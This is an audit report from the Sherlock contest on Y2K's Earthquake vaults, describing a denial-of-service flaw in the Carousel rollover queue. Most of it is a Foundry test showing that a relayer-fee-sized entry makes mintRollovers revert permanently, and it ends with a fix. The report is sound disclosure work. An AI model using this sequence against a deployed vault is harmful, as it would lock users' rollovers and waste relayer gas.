evan

medium

# It's possible to permanently DOS the rollover system

## Summary
In some cases, a user can permanently DOS the rollover system.

## Vulnerability Detail
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L366
Observe that previewWithdraw reverts if finalTVL[_id] = 0

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L396
MintRollovers calls this function on every queue element with a resolved epoch.

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L298
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L209
At resolution, the finalTVL of the epoch is set to the supply of the corresponding token.

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L436-L437
Due to relayer fees, it's entirely possible for the queue to contain an entry where the corresponding epoch doesn't have any supply.

For example, a user can create a rollover entry with `assets` = relayerFee for epoch 2. After a rollover to epoch 3, nothing will be minted since the `assets` of the entry will be 0. If this epoch (epoch 3) ends with no one depositing in it, then mintRollover for all subsequent epochs will fail once the loop hits this entry. This is demonstrated in the POC in the Code Snippet section.

## Impact
Observe that this permanently prevents any rollover entry after the problematic one from rolling over. This can also cause the relayer to waste gas without any compensation.

## Code Snippet
Please add the following test into CarouselTest.t.sol, and run it by itself `forge test -m testRolloverDOS`
```solidity
function testRolloverDOS() public {
        // create first epoch
        uint40 _epochBegin = uint40(block.timestamp + 1 days);
        uint40 _epochEnd = uint40(block.timestamp + 2 days);
        uint256 _epochId = 2;
        uint256 _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);
    
        // deposit in first epoch
        helperDepositInEpochs(_epochId,USER, false);
        helperDepositInEpochs(_epochId,USER2, false);

        vm.warp(_epochBegin - 10 minutes);
    
        helperDepositInEpochs(_epochId,USER, false);
        helperDepositInEpochs(_epochId,USER2, false);

        // enlist in rollover for next epoch
        vm.startPrank(USER);
        vault.enlistInRollover(_epochId, relayerFee, USER);
        vm.stopPrank();

        // resolve first epoch
        vm.warp(_epochEnd + 1 days);
        vm.startPrank(controller);
        vault.resolveEpoch(_epochId);
        vm.stopPrank();

        // create second epoch
        _epochBegin = uint40(block.timestamp + 1 days);
        _epochEnd = uint40(block.timestamp + 2 days);
        _epochId = 3;
        _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        // simulate prev epoch win
        stdstore
            .target(address(vault))
            .sig("claimTVL(uint256)")
            .with_key(2)
            .checked_write(1000 ether);

        // let relayer rollover for user
        vm.startPrank(relayer);
        vault.mintRollovers(_epochId, 1);
        vm.stopPrank();

        // resolve second epoch
        vm.warp(_epochEnd + 1 days);
        vm.startPrank(controller);
        vault.resolveEpoch(_epochId);
        vm.stopPrank();

        // create third epoch
        _epochBegin = uint40(block.timestamp + 1 days);
        _epochEnd = uint40(block.timestamp + 2 days);
        _epochId = 4;
        _emissions = 100 ether;

        deal(emissionsToken, address(vault), 100 ether, true);
        vault.setEpoch(_epochBegin, _epochEnd, _epochId);
        vault.setEmissions( _epochId, _emissions);

        // let relayer rollover for user
        vm.startPrank(relayer);
        vm.expectRevert();
        vault.mintRollovers(_epochId, 1);
        vm.stopPrank();
    }
```

## Tool used
Manual Review
Foundry

## Recommendation
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L403
Changing this comparison to include equality should mitigate this issue.
